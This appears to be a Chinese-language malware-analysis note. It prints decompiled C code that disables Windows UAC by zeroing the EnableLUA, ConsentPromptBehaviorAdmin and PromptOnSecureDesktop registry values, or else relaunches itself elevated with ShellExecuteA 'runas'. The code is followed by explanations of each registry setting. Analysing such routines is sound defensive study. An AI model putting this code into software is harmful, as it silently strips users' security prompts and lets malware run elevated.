代码

  1. //通过注册表关闭UAC
  2. if ( IsUserAnAdmin() )
  3. {
  4. //ConsentPromptBehaviorAdmin:此键定义系统管理员的用户帐户控制行为
  5. dataConsentPromptBehaviorAdmin = 0;
  6. SHSetValueA(HKEY_LOCAL_MACHINE, pszSubKey, ConsentPromptBehaviorAdmin, 4u, &dataConsentPromptBehaviorAdmin, 4u);
  7. //EnableLUA:指定当程序尝试对计算机进行更改时是否将Windows用户帐户控制(UAC)通知用户。(UAC以前称为受限用户帐户(LUA)。)
  8. dataEnableLUA = 0;
  9. SHSetValueA(HKEY_LOCAL_MACHINE, pszSubKey, EnableLUA, 4u, &dataEnableLUA, 4u);
  10. //禁用安全桌面提示
  11. dataPromptOnSecureDesktop = 0;
  12. SHSetValueA(HKEY_LOCAL_MACHINE, pszSubKey, PromptOnSecureDesktop, 4u, &dataPromptOnSecureDesktop, 4u);
  13. }
  14. //提权后通过ShellExecuteA+runas以管理员身份重新运行自身
  15. else
  16. {
  17. RegOpenKeyExA(HKEY_CURRENT_USER, SubKey, 0, 0xF003Fu, &phkResult);
  18. strcpy(Powerraising, "Powerraising");
  19. if ( !RegSetValueExA(phkResult, KeyNamePowerraising, 0, 1u, (const BYTE *)Powerraising, 0x14u) )
  20. RegCloseKey(phkResult);
  21. pathSelf = 0;
  22. memset(v4, 0, sizeof(v4));
  23. v5 = 0;
  24. v6 = 0;
  25. GetModuleFileNameA(0, &pathSelf, 0x104u);
  26. return ShellExecuteA(0, runas, &pathSelf, 0, 0, 1);// runas以管理员身份启动应用程序
  27. }

UAC

用户帐户控制(User Account Control,简写作UAC)是微软公司在其Windows Vista及更高版本操作系统中采用的一种控制机制。其原理是通知用户是否对应用程序使用硬盘驱动器和系统文件授权,以达到帮助阻止恶意程序(有时也称为“恶意软件”)损坏系统的效果。

简单地说关闭UAC是恶意软件常见的一种操作,不关闭可能会影响恶意代码和恶意功能的运行和实现。

EnableLUA

指定当程序尝试对计算机进行更改时是否将Windows用户帐户控制(UAC)通知用户。UAC以前称为受限用户帐户(LUA)。

PromptOnSecureDesktop

Key: SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System

含义
0x00000000 禁用此策略将禁用安全桌面提示。所有凭据或同意提示将出现在交互式用户的桌面上。
0x00000001 此策略将强制在用户的安全桌面中发生所有UAC提示。

ConsentPromptBehaviorAdmin

此键定义系统管理员的用户帐户控制行为。默认值设置为“提示”,但不要求输入凭据。
以下是所有可能的值:
0:值0允许管理员执行需要提升的操作,而无需同意(表示提示)或凭据(表示身份验证)。
1:当操作需要在安全桌面上提升权限时,值1要求管理员输入用户名和密码。
2:显示需要在安全桌面上允许或拒绝的UAC提示。不需要身份验证。
3:提示输入凭据。
4:显示UAC提示符提示同意。
5:对于非Windows二进制文件,默认值5提示同意。

ConsentPromptBehaviorUser

0:如果由标准用户执行,值0将自动拒绝任何需要提升权限的操作。
1: 值1将显示一个提示,输入管理员的用户名和密码,以在安全桌面上以提升的权限运行操作。
3: 默认值3提示在安全桌面上输入凭据。

总结

  • EnableLUA:是否开启UAC
  • PromptOnSecureDesktop:桌面是否变黑
  • ConsentPromptBehaviorAdmin:通知强度级别 | 权限 | ConsentPromptBehaviorAdmin | PromptOnSecureDesktop | EnableLUA | | —- | —- | —- | —- | | | 2 | 1 | 1 | | | 5 | 1 | 1 | | | 5 | 0 | 1 | | | 0 | 0 | 0 |

ShellExecuteA

  1. HINSTANCE ShellExecuteA
  2. (
  3. HWND hwnd,
  4. LPCSTR lpOperation,
  5. LPCSTR lpFile,
  6. LPCSTR lpParameters,
  7. LPCSTR lpDirectory,
  8. INT nShowCmd
  9. );

lpOperation

指定要执行的操作

edit / 编辑

启动编辑器并打开文档进行编辑。如果lpFile不是文档文件,该函数将失败。

explore / 探索

lpFile所指定的文件夹。

find / 发现

从lpDirectory指定的目录开始搜索。

open / 打开

打开LpFile参数,可以是文件或文件夹。

print / 打印

输出lpFile指定的文件。如果lpFile不是文档文件,该函数将失败。

runas / 以管理员身份启动应用程序

用户帐户控制(UAC)将提示用户同意运行提升的应用程序或输入用于运行应用程序的管理员帐户的凭据。

NULL

如果可用,则使用默认谓词。如果没有,则使用“打开”动词。如果两个谓词都不可用,系统将使用注册表中列出的第一个谓词。